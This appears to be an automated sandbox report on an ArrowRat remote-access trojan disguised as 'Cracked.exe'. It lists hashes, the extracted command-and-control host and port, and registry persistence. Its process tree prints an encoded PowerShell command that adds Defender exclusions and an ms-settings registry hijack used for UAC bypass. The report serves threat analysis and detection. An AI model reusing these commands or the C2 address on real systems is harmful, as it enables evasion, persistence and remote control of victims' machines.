arrowrat | 2be002d8f440059579b6eec67e37a1272081daad1dc8e3f3800adf94620c7beb

Analysis

max time kernel
142s
max time network
126s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29-07-2023 20:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Cracked.exe
Size

2.4MB
MD5

6eb284564aa7bd24f4f6df02ef05d185
SHA1

47f85ddc0b1a090d1852c37b2e2e1449e5b6db88
SHA256

2be002d8f440059579b6eec67e37a1272081daad1dc8e3f3800adf94620c7beb
SHA512

49e1a9584c74f32f9566d3c4ca31684c474ec260e50bd07b8d3c0a8ef3f3e70d10773952e5d219aa8c9076b86cddcefd242dfb91b507feeb06c5d69ba9e91179
SSDEEP

49152:Wm7ZuvKRXc8DJ2c2Xp95LBO1PJNNNQzgj7k/8E54IlDXRRtdQNH:D77P2XPOxJ9FcEq4IZXRRC

Score

10^/10

arrowrat client persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

line-ellis.gl.at.ply.gg:10735

Mutex

nAChhjAnR

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\LHost\\hDvkdxlbo.exe"	Client.exe

Modifies Installed Components in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Executes dropped EXE 2 IoCs

pid	Process
2868	Client.exe
2892	SteamSetup.exe

Loads dropped DLL 2 IoCs

pid	Process
2892	SteamSetup.exe
2892	SteamSetup.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Client.exe	Cracked.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell\open\command	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell\open	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Local\\Temp\\LHost\\hDvkdxlbo.exe'"	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute	Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2956	powershell.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe
2868	Client.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	2868	Client.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe
Token: SeShutdownPrivilege	2764	explorer.exe

Suspicious use of FindShellTrayWindow 28 IoCs

pid	Process
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe
2764	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2868	Client.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 2956	2908	Cracked.exe	28
PID 2908 wrote to memory of 2956	2908	Cracked.exe	28
PID 2908 wrote to memory of 2956	2908	Cracked.exe	28
PID 2908 wrote to memory of 2868	2908	Cracked.exe	30
PID 2908 wrote to memory of 2868	2908	Cracked.exe	30
PID 2908 wrote to memory of 2868	2908	Cracked.exe	30
PID 2908 wrote to memory of 2892	2908	Cracked.exe	31
PID 2908 wrote to memory of 2892	2908	Cracked.exe	31
PID 2908 wrote to memory of 2892	2908	Cracked.exe	31
PID 2908 wrote to memory of 2892	2908	Cracked.exe	31
PID 2908 wrote to memory of 2892	2908	Cracked.exe	31
PID 2908 wrote to memory of 2892	2908	Cracked.exe	31
PID 2908 wrote to memory of 2892	2908	Cracked.exe	31
PID 2868 wrote to memory of 2764	2868	Client.exe	32
PID 2868 wrote to memory of 2764	2868	Client.exe	32
PID 2868 wrote to memory of 2764	2868	Client.exe	32
PID 2868 wrote to memory of 2664	2868	Client.exe	33
PID 2868 wrote to memory of 2664	2868	Client.exe	33
PID 2868 wrote to memory of 2664	2868	Client.exe	33
PID 2868 wrote to memory of 2664	2868	Client.exe	33
PID 2868 wrote to memory of 688	2868	Client.exe	34
PID 2868 wrote to memory of 688	2868	Client.exe	34
PID 2868 wrote to memory of 688	2868	Client.exe	34
PID 2868 wrote to memory of 688	2868	Client.exe	34
PID 2868 wrote to memory of 592	2868	Client.exe	36
PID 2868 wrote to memory of 592	2868	Client.exe	36
PID 2868 wrote to memory of 592	2868	Client.exe	36
PID 2868 wrote to memory of 592	2868	Client.exe	36
PID 2868 wrote to memory of 884	2868	Client.exe	35
PID 2868 wrote to memory of 884	2868	Client.exe	35
PID 2868 wrote to memory of 884	2868	Client.exe	35
PID 2868 wrote to memory of 884	2868	Client.exe	35
PID 2868 wrote to memory of 1032	2868	Client.exe	37
PID 2868 wrote to memory of 1032	2868	Client.exe	37
PID 2868 wrote to memory of 1032	2868	Client.exe	37
PID 2868 wrote to memory of 1032	2868	Client.exe	37
PID 2868 wrote to memory of 2696	2868	Client.exe	42
PID 2868 wrote to memory of 2696	2868	Client.exe	42
PID 2868 wrote to memory of 2696	2868	Client.exe	42
PID 2868 wrote to memory of 2696	2868	Client.exe	42
PID 2764 wrote to memory of 928	2764	explorer.exe	43
PID 2764 wrote to memory of 928	2764	explorer.exe	43
PID 2764 wrote to memory of 928	2764	explorer.exe	43
PID 2868 wrote to memory of 1988	2868	Client.exe	41
PID 2868 wrote to memory of 1988	2868	Client.exe	41
PID 2868 wrote to memory of 1988	2868	Client.exe	41
PID 2868 wrote to memory of 1988	2868	Client.exe	41
PID 2868 wrote to memory of 2940	2868	Client.exe	40
PID 2868 wrote to memory of 2940	2868	Client.exe	40
PID 2868 wrote to memory of 2940	2868	Client.exe	40
PID 2868 wrote to memory of 2940	2868	Client.exe	40
PID 2868 wrote to memory of 1464	2868	Client.exe	39
PID 2868 wrote to memory of 1464	2868	Client.exe	39
PID 2868 wrote to memory of 1464	2868	Client.exe	39
PID 2868 wrote to memory of 1464	2868	Client.exe	39
PID 2868 wrote to memory of 1480	2868	Client.exe	38
PID 2868 wrote to memory of 1480	2868	Client.exe	38
PID 2868 wrote to memory of 1480	2868	Client.exe	38
PID 2868 wrote to memory of 1480	2868	Client.exe	38
PID 2868 wrote to memory of 2520	2868	Client.exe	44
PID 2868 wrote to memory of 2520	2868	Client.exe	44
PID 2868 wrote to memory of 2520	2868	Client.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Cracked.exe
"C:\Users\Admin\AppData\Local\Temp\Cracked.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAZABjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AYgBqACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2956
- C:\Windows\Client.exe
  "C:\Windows\Client.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Modifies Installed Components in the registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:928
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:2664
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:688
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:884
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:592
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:1032
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:1480
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:1464
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:2940
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:1988
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
    3⤵
    PID:2696
- - C:\Windows\System32\ComputerDefaults.exe
    "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:2520
- C:\Users\Admin\AppData\Local\Temp\SteamSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\SteamSetup.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\SteamSetup.exe

Filesize
2.2MB

MD5
70f3bc193dfa56b78f3e6e4f800f701f

SHA1
1e5598f2de49fed2e81f3dd8630c7346a2b89487

SHA256
3b616cb0beaacffb53884b5ba0453312d2577db598d2a877a3b251125fb281a1

SHA512
3ffa815fea2fe37c4fde71f70695697d2b21d6d86a53eea31a1bc1256b5777b44ff400954a0cd0653f1179e4b2e63e24e50b70204d2e9a4b8bf3abf8ede040d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\SteamSetup.exe

Filesize
2.2MB

MD5
70f3bc193dfa56b78f3e6e4f800f701f

SHA1
1e5598f2de49fed2e81f3dd8630c7346a2b89487

SHA256
3b616cb0beaacffb53884b5ba0453312d2577db598d2a877a3b251125fb281a1

SHA512
3ffa815fea2fe37c4fde71f70695697d2b21d6d86a53eea31a1bc1256b5777b44ff400954a0cd0653f1179e4b2e63e24e50b70204d2e9a4b8bf3abf8ede040d1

Download Submit
C:\Windows\Client.exe

Filesize
158KB

MD5
d7dea9816b882cb53d615a3afdf0c955

SHA1
d3bfd91ff74c072028bd747d4f56f17cc55168a5

SHA256
96d3ba07a0486f3b25474af2ea79d09ada281de55ebedb75f32ffdd670c107c6

SHA512
b0881a34616faa65c5f279f5dd1f9e51a951c982046a46afdb109db71dd34c5148db017faf1141ab5a713846d22df463a576c4c274558f56bf624cc703eb0f35

Download Submit
C:\Windows\Client.exe

Filesize
158KB

MD5
d7dea9816b882cb53d615a3afdf0c955

SHA1
d3bfd91ff74c072028bd747d4f56f17cc55168a5

SHA256
96d3ba07a0486f3b25474af2ea79d09ada281de55ebedb75f32ffdd670c107c6

SHA512
b0881a34616faa65c5f279f5dd1f9e51a951c982046a46afdb109db71dd34c5148db017faf1141ab5a713846d22df463a576c4c274558f56bf624cc703eb0f35

Download Submit
\Users\Admin\AppData\Local\Temp\nsyA45C.tmp\System.dll

Filesize
11KB

MD5
a4dd044bcd94e9b3370ccf095b31f896

SHA1
17c78201323ab2095bc53184aa8267c9187d5173

SHA256
2e226715419a5882e2e14278940ee8ef0aa648a3ef7af5b3dc252674111962bc

SHA512
87335a43b9ca13e1300c7c23e702e87c669e2bcf4f6065f0c684fc53165e9c1f091cc4d79a3eca3910f0518d3b647120ac0be1a68eaade2e75eaa64adfc92c5a

Download Submit
\Users\Admin\AppData\Local\Temp\nsyA45C.tmp\nsDialogs.dll

Filesize
9KB

MD5
0d45588070cf728359055f776af16ec4

SHA1
c4375ceb2883dee74632e81addbfa4e8b0c6d84a

SHA256
067c77d51df034b4a614f83803140fbf4cd2f8684b88ea8c8acdf163edad085a

SHA512
751ebf4c43f100b41f799d0fbf8db118ea8751df029c1f4c4b0daeb0fef200ddf2e41c1c9c55c2dc94f2c841cf6acb7df355e98a2e5877a7797f0f1d41a7e415

Download Submit
memory/2520-101-0x0000000000270000-0x0000000000271000-memory.dmp

Filesize
4KB

Download
memory/2520-105-0x0000000000270000-0x0000000000271000-memory.dmp

Filesize
4KB

Download
memory/2764-111-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/2764-107-0x0000000003FE0000-0x0000000003FE1000-memory.dmp

Filesize
4KB

Download
memory/2764-104-0x0000000003FE0000-0x0000000003FE1000-memory.dmp

Filesize
4KB

Download
memory/2868-102-0x000000001AFB0000-0x000000001B030000-memory.dmp

Filesize
512KB

Download
memory/2868-69-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2868-63-0x0000000000880000-0x00000000008AE000-memory.dmp

Filesize
184KB

Download
memory/2868-106-0x000000001AFB0000-0x000000001B030000-memory.dmp

Filesize
512KB

Download
memory/2868-103-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2908-81-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2908-54-0x0000000000B40000-0x0000000000DA0000-memory.dmp

Filesize
2.4MB

Download
memory/2908-55-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2908-56-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2908-57-0x0000000000510000-0x0000000000590000-memory.dmp

Filesize
512KB

Download
memory/2956-96-0x000007FEF1CB0000-0x000007FEF264D000-memory.dmp

Filesize
9.6MB

Download
memory/2956-97-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2956-98-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2956-99-0x000007FEF1CB0000-0x000007FEF264D000-memory.dmp

Filesize
9.6MB

Download
memory/2956-95-0x00000000029FB000-0x0000000002A62000-memory.dmp

Filesize
412KB

Download
memory/2956-70-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/2956-72-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2956-71-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download